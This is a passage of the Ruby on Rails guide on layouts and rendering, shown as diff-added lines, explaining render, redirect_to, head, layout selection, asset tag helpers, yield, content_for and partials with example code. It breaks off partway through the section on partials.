+In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
+
+Creating Responses
+------------------
+
+From the controller's point of view, there are three ways to create an HTTP response:
+
+* Call `render` to create a full response to send back to the browser
+* Call `redirect_to` to send an HTTP redirect status code to the browser
+* Call `head` to create a response consisting solely of HTTP headers to send back to the browser
+
+### Rendering by Default: Convention Over Configuration in Action
+
+You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class:
+
+```ruby
+class BooksController < ApplicationController
+end
+```
+
+And the following in your routes file:
+
+```ruby
+resources :books
+```
+
+And you have a view file `app/views/books/index.html.erb`:
+
+```html+erb
+<h1>Books are coming soon!</h1>
+```
+
+Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.
+
+However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:
+
+```ruby
+class BooksController < ApplicationController
+  def index
+    @books = Book.all
+  end
+end
+```
+
+Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file.
+
+If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
+
+```html+erb
+<h1>Listing Books</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Summary</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @books.each do |book| %>
+  <tr>
+    <td><%= book.title %></td>
+    <td><%= book.content %></td>
+    <td><%= link_to "Show", book %></td>
+    <td><%= link_to "Edit", edit_book_path(book) %></td>
+    <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
+  </tr>
+<% end %>
+</table>
+
+<br>
+
+<%= link_to "New book", new_book_path %>
+```
+
+NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).
+
+### Using `render`
+
+In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+
+TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.
+
+#### Rendering Nothing
+
+Perhaps the simplest thing you can do with `render` is to render nothing at all:
+
+```ruby
+render nothing: true
+```
+
+If you look at the response for this using cURL, you will see the following:
+
+```bash
+$ curl -i 127.0.0.1:3000/books
+HTTP/1.1 200 OK
+Connection: close
+Date: Sun, 24 Jan 2010 09:25:18 GMT
+Transfer-Encoding: chunked
+Content-Type: */*; charset=utf-8
+X-Runtime: 0.014297
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+$
+```
+
+We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed.
+
+TIP: You should probably be using the `head` method, discussed later in this guide, instead of `render :nothing`. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+
+#### Rendering an Action's View
+
+If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view:
+
+```ruby
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render "edit"
+  end
+end
+```
+
+If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.
+
+If you prefer, you can use a symbol instead of a string to specify the action to render:
+
+```ruby
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render :edit
+  end
+end
+```
+
+#### Rendering an Action's Template from Another Controller
+
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way:
+
+```ruby
+render "products/show"
+```
+
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier):
+
+```ruby
+render template: "products/show"
+```
+
+#### Rendering an Arbitrary File
+
+The `render` method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
+
+```ruby
+render "/u/apps/warehouse_app/current/app/views/products/show"
+```
+
+Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the `:file` option (which was required on Rails 2.2 and earlier):
+
+```ruby
+render file: "/u/apps/warehouse_app/current/app/views/products/show"
+```
+
+The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
+
+NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `layout: true` option.
+
+TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames.
+
+#### Wrapping it up
+
+The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
+
+In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
+
+```ruby
+render :edit
+render action: :edit
+render "edit"
+render "edit.html.erb"
+render action: "edit"
+render action: "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render template: "books/edit"
+render template: "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render file: "/path/to/rails/app/views/books/edit"
+render file: "/path/to/rails/app/views/books/edit.html.erb"
+```
+
+Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
+
+#### Using `render` with `:inline`
+
+The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid:
+
+```ruby
+render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+```
+
+WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option:
+
+```ruby
+render inline: "xml.p {'Horrid coding practice!'}", type: :builder
+```
+
+#### Rendering Text
+
+You can send plain text - with no markup at all - back to the browser by using
+the `:plain` option to `render`:
+
+```ruby
+render plain: "OK"
+```
+
+TIP: Rendering pure text is most useful when you're responding to Ajax or web
+service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the `:plain` option, the text is rendered without
+using the current layout. If you want Rails to put the text into the current
+layout, you need to add the `layout: true` option.
+
+#### Rendering HTML
+
+You can send a HTML string back to the browser by using the `:html` option to
+`render`:
+
+```ruby
+render html: "<strong>Not Found</strong>".html_safe
+```
+
+TIP: This is useful when you're rendering a small snippet of HTML code.
+However, you might want to consider moving it to a template file if the markup
+is complex.
+
+NOTE: This option will escape HTML entities if the string is not html safe.
+
+#### Rendering JSON
+
+JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
+
+```ruby
+render json: @product
+```
+
+TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you.
+
+#### Rendering XML
+
+Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
+
+```ruby
+render xml: @product
+```
+
+TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you.
+
+#### Rendering Vanilla JavaScript
+
+Rails can render vanilla JavaScript:
+
+```ruby
+render js: "alert('Hello Rails');"
+```
+
+This will send the supplied string to the browser with a MIME type of `text/javascript`.
+
+#### Rendering raw body
+
+You can send a raw content back to the browser, without setting any content
+type, by using the `:body` option to `render`:
+
+```ruby
+render body: "raw"
+```
+
+TIP: This option should be used only if you don't care about the content type of
+the response. Using `:plain` or `:html` might be more appropriate in most of the
+time.
+
+NOTE: Unless overriden, your response returned from this render option will be
+`text/html`, as that is the default content type of Action Dispatch response.
+
+#### Options for `render`
+
+Calls to the `render` method generally accept four options:
+
+* `:content_type`
+* `:layout`
+* `:location`
+* `:status`
+
+##### The `:content_type` Option
+
+By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:
+
+```ruby
+render file: filename, content_type: "application/rss"
+```
+
+##### The `:layout` Option
+
+With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+
+You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action:
+
+```ruby
+render layout: "special_layout"
+```
+
+You can also tell Rails to render with no layout at all:
+
+```ruby
+render layout: false
+```
+
+##### The `:location` Option
+
+You can use the `:location` option to set the HTTP `Location` header:
+
+```ruby
+render xml: photo, location: photo_url(photo)
+```
+
+##### The `:status` Option
+
+Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:
+
+```ruby
+render status: 500
+render status: :forbidden
+```
+
+Rails understands both numeric status codes and the corresponding symbols shown below.
+
+| Response Class      | HTTP Status Code | Symbol                           |
+| ------------------- | ---------------- | -------------------------------- |
+| **Informational**   | 100              | :continue                        |
+|                     | 101              | :switching_protocols             |
+|                     | 102              | :processing                      |
+| **Success**         | 200              | :ok                              |
+|                     | 201              | :created                         |
+|                     | 202              | :accepted                        |
+|                     | 203              | :non_authoritative_information   |
+|                     | 204              | :no_content                      |
+|                     | 205              | :reset_content                   |
+|                     | 206              | :partial_content                 |
+|                     | 207              | :multi_status                    |
+|                     | 208              | :already_reported                |
+|                     | 226              | :im_used                         |
+| **Redirection**     | 300              | :multiple_choices                |
+|                     | 301              | :moved_permanently               |
+|                     | 302              | :found                           |
+|                     | 303              | :see_other                       |
+|                     | 304              | :not_modified                    |
+|                     | 305              | :use_proxy                       |
+|                     | 306              | :reserved                        |
+|                     | 307              | :temporary_redirect              |
+|                     | 308              | :permanent_redirect              |
+| **Client Error**    | 400              | :bad_request                     |
+|                     | 401              | :unauthorized                    |
+|                     | 402              | :payment_required                |
+|                     | 403              | :forbidden                       |
+|                     | 404              | :not_found                       |
+|                     | 405              | :method_not_allowed              |
+|                     | 406              | :not_acceptable                  |
+|                     | 407              | :proxy_authentication_required   |
+|                     | 408              | :request_timeout                 |
+|                     | 409              | :conflict                        |
+|                     | 410              | :gone                            |
+|                     | 411              | :length_required                 |
+|                     | 412              | :precondition_failed             |
+|                     | 413              | :request_entity_too_large        |
+|                     | 414              | :request_uri_too_long            |
+|                     | 415              | :unsupported_media_type          |
+|                     | 416              | :requested_range_not_satisfiable |
+|                     | 417              | :expectation_failed              |
+|                     | 422              | :unprocessable_entity            |
+|                     | 423              | :locked                          |
+|                     | 424              | :failed_dependency               |
+|                     | 426              | :upgrade_required                |
+|                     | 428              | :precondition_required           |
+|                     | 429              | :too_many_requests               |
+|                     | 431              | :request_header_fields_too_large |
+| **Server Error**    | 500              | :internal_server_error           |
+|                     | 501              | :not_implemented                 |
+|                     | 502              | :bad_gateway                     |
+|                     | 503              | :service_unavailable             |
+|                     | 504              | :gateway_timeout                 |
+|                     | 505              | :http_version_not_supported      |
+|                     | 506              | :variant_also_negotiates         |
+|                     | 507              | :insufficient_storage            |
+|                     | 508              | :loop_detected                   |
+|                     | 510              | :not_extended                    |
+|                     | 511              | :network_authentication_required |
+
+#### Finding Layouts
+
+To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if on [...]
+
+##### Specifying Layouts for Controllers
+
+You can override the default layout conventions in your controllers by using the `layout` declaration. For example:
+
+```ruby
+class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+```
+
+With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout.
+
+To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
+
+```ruby
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+```
+
+With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.
+
+##### Choosing Layouts at Runtime
+
+You can use a symbol to defer the choice of layout until a request is processed:
+
+```ruby
+class ProductsController < ApplicationController
+  layout :products_layout
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+```
+
+Now, if the current user is a special user, they'll get a special layout when viewing a product.
+
+You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request:
+
+```ruby
+class ProductsController < ApplicationController
+  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+```
+
+##### Conditional Layouts
+
+Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
+
+```ruby
+class ProductsController < ApplicationController
+  layout "product", except: [:index, :rss]
+end
+```
+
+With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods.
+
+##### Layout Inheritance
+
+Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
+
+* `application_controller.rb`
+
+    ```ruby
+    class ApplicationController < ActionController::Base
+      layout "main"
+    end
+    ```
+
+* `posts_controller.rb`
+
+    ```ruby
+    class PostsController < ApplicationController
+    end
+    ```
+
+* `special_posts_controller.rb`
+
+    ```ruby
+    class SpecialPostsController < PostsController
+      layout "special"
+    end
+    ```
+
+* `old_posts_controller.rb`
+
+    ```ruby
+    class OldPostsController < SpecialPostsController
+      layout false
+
+      def show
+        @post = Post.find(params[:id])
+      end
+
+      def index
+        @old_posts = Post.older
+        render layout: "old"
+      end
+      # ...
+    end
+    ```
+
+In this application:
+
+* In general, views will be rendered in the `main` layout
+* `PostsController#index` will use the `main` layout
+* `SpecialPostsController#index` will use the `special` layout
+* `OldPostsController#show` will use no layout at all
+* `OldPostsController#index` will use the `old` layout
+
+#### Avoiding Double Render Errors
+
+Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works.
+
+For example, here's some code that will trigger this error:
+
+```ruby
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+  render action: "regular_show"
+end
+```
+
+If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's  [...]
+
+```ruby
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show" and return
+  end
+  render action: "regular_show"
+end
+```
+
+Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
+
+Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:
+
+```ruby
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+end
+```
+
+This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template.
+
+### Using `redirect_to`
+
+Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+```ruby
+redirect_to photos_url
+```
+
+You can use `redirect_to` with any arguments that you could use with `link_to` or `url_for`. There's also a special redirect that sends the user back to the page they just came from:
+
+```ruby
+redirect_to :back
+```
+
+#### Getting a Different Redirect Status Code
+
+Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:
+
+```ruby
+redirect_to photos_path, status: 301
+```
+
+Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations.
+
+#### The Difference Between `render` and `redirect_to`
+
+Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+
+Consider these actions to see the difference:
+
+```ruby
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    render action: "index"
+  end
+end
+```
+
+With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering:
+
+```ruby
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    redirect_to action: :index
+  end
+end
+```
+
+With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well.
+
+The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down [...]
+
+While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
+
+```ruby
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    @books = Book.all
+    flash.now[:alert] = "Your book was not found"
+    render "index"
+  end
+end
+```
+
+This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.
+
+### Using `head` To Build Header-Only Responses
+
+The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing a HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:
+
+```ruby
+head :bad_request
+```
+
+This would produce the following header:
+
+```
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Or you can use other HTTP headers to convey other information:
+
+```ruby
+head :created, location: photo_path(@photo)
+```
+
+Which would produce:
+
+```
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Structuring Layouts
+-------------------
+
+When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+
+* Asset tags
+* `yield` and `content_for`
+* Partials
+
+### Asset Tag Helpers
+
+Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
+
+* `auto_discovery_link_tag`
+* `javascript_include_tag`
+* `stylesheet_link_tag`
+* `image_tag`
+* `video_tag`
+* `audio_tag`
+
+You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
+
+WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+#### Linking to Feeds with the `auto_discovery_link_tag`
+
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+
+```erb
+<%= auto_discovery_link_tag(:rss, {action: "feed"},
+  {title: "RSS Feed"}) %>
+```
+
+There are three tag options available for the `auto_discovery_link_tag`:
+
+* `:rel` specifies the `rel` value in the link. The default value is "alternate".
+* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
+* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS".
+
+#### Linking to JavaScript Files with the `javascript_include_tag`
+
+The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.
+
+If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline.
+
+A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization)
+
+You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= javascript_include_tag "main" %>
+```
+
+Rails will then output a `script` tag such as this:
+
+```html
+<script src='/assets/main.js'></script>
+```
+
+The request to this asset is then served by the Sprockets gem.
+
+To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time:
+
+```erb
+<%= javascript_include_tag "main", "columns" %>
+```
+
+To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`:
+
+```erb
+<%= javascript_include_tag "main", "/photos/columns" %>
+```
+
+To include `http://example.com/main.js`:
+
+```erb
+<%= javascript_include_tag "http://example.com/main.js" %>
+```
+
+#### Linking to CSS Files with the `stylesheet_link_tag`
+
+The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
+
+If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+
+You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= stylesheet_link_tag "main" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "columns" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "photos/columns" %>
+```
+
+To include `http://example.com/main.css`:
+
+```erb
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+```
+
+By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`):
+
+```erb
+<%= stylesheet_link_tag "main_print", media: "print" %>
+```
+
+#### Linking to Images with the `image_tag`
+
+The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
+
+WARNING: Note that you must specify the extension of the image.
+
+```erb
+<%= image_tag "header.png" %>
+```
+
+You can supply a path to the image if you like:
+
+```erb
+<%= image_tag "icons/delete.gif" %>
+```
+
+You can supply a hash of additional HTML options:
+
+```erb
+<%= image_tag "icons/delete.gif", {height: 45} %>
+```
+
+You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
+
+```erb
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", alt: "Home" %>
+```
+
+You can also specify a special size tag, in the format "{width}x{height}":
+
+```erb
+<%= image_tag "home.gif", size: "50x20" %>
+```
+
+In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`:
+
+```erb
+<%= image_tag "home.gif", alt: "Go Home",
+                          id: "HomeImage",
+                          class: "nav_bar" %>
+```
+
+#### Linking to Videos with the `video_tag`
+
+The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
+
+```erb
+<%= video_tag "movie.ogg" %>
+```
+
+Produces
+
+```erb
+<video src="/videos/movie.ogg" />
+```
+
+Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `size: "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).
+
+The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:
+
+* `poster: "image_name.png"`, provides an image to put in place of the video before it starts playing.
+* `autoplay: true`, starts playing the video on page load.
+* `loop: true`, loops the video once it gets to the end.
+* `controls: true`, provides browser supplied controls for the user to interact with the video.
+* `autobuffer: true`, the video will pre load the file for the user on page load.
+
+You can also specify multiple videos to play by passing an array of videos to the `video_tag`:
+
+```erb
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+```
+
+This will produce:
+
+```erb
+<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
+```
+
+#### Linking to Audio Files with the `audio_tag`
+
+The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
+
+```erb
+<%= audio_tag "music.mp3" %>
+```
+
+You can supply a path to the audio file if you like:
+
+```erb
+<%= audio_tag "music/first_song.mp3" %>
+```
+
+You can also supply a hash of additional options, such as `:id`, `:class` etc.
+
+Like the `video_tag`, the `audio_tag` has special options:
+
+* `autoplay: true`, starts playing the audio on page load
+* `controls: true`, provides browser supplied controls for the user to interact with the audio.
+* `autobuffer: true`, the audio will pre load the file for the user on page load.
+
+### Understanding `yield`
+
+Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:
+
+```html+erb
+<html>
+  <head>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+```
+
+You can also create a layout with multiple yielding regions:
+
+```html+erb
+<html>
+  <head>
+  <%= yield :head %>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+```
+
+The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method.
+
+### Using the `content_for` Method
+
+The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
+
+```html+erb
+<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+```
+
+The result of rendering this page into the supplied layout would be this HTML:
+
+```html+erb
+<html>
+  <head>
+  <title>A simple page</title>
+  </head>
+  <body>
+  <p>Hello, Rails!</p>
+  </body>
+</html>
+```
+
+The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
+
+### Using Partials
+
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```ruby
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```ruby
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to Simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+```erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+```
+
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+#### Partial Layouts
+
+A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
+
+```erb
+<%= render partial: "link_area", layout: "graybar" %>
+```
+
+This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder).
+
+Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`.
+
+#### Passing Local Variables
+
+You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
+
+* `new.html.erb`
+
+    ```html+erb
+    <h1>New zone</h1>
+    <%= render partial: "form", locals: {zone: @zone} %>
+    ```
+
+* `edit.html.erb`
+
+    ```html+erb
+    <h1>Editing zone</h1>
+    <%= render partial: "form", locals: {zone: @zone} %>
+    ```
+
+* `_form.html.erb`
+
+    ```html+erb
+    <%= form_for(zone) do |f| %>
+      <p>
+        <b>Zone name</b><br>
+        <%= f.text_field :name %>
+      </p>
+      <p>
+        <%= f.submit %>
+      </p>
+    <% end %>
+    ```
+
+Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
+
+Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option:
+
+```erb
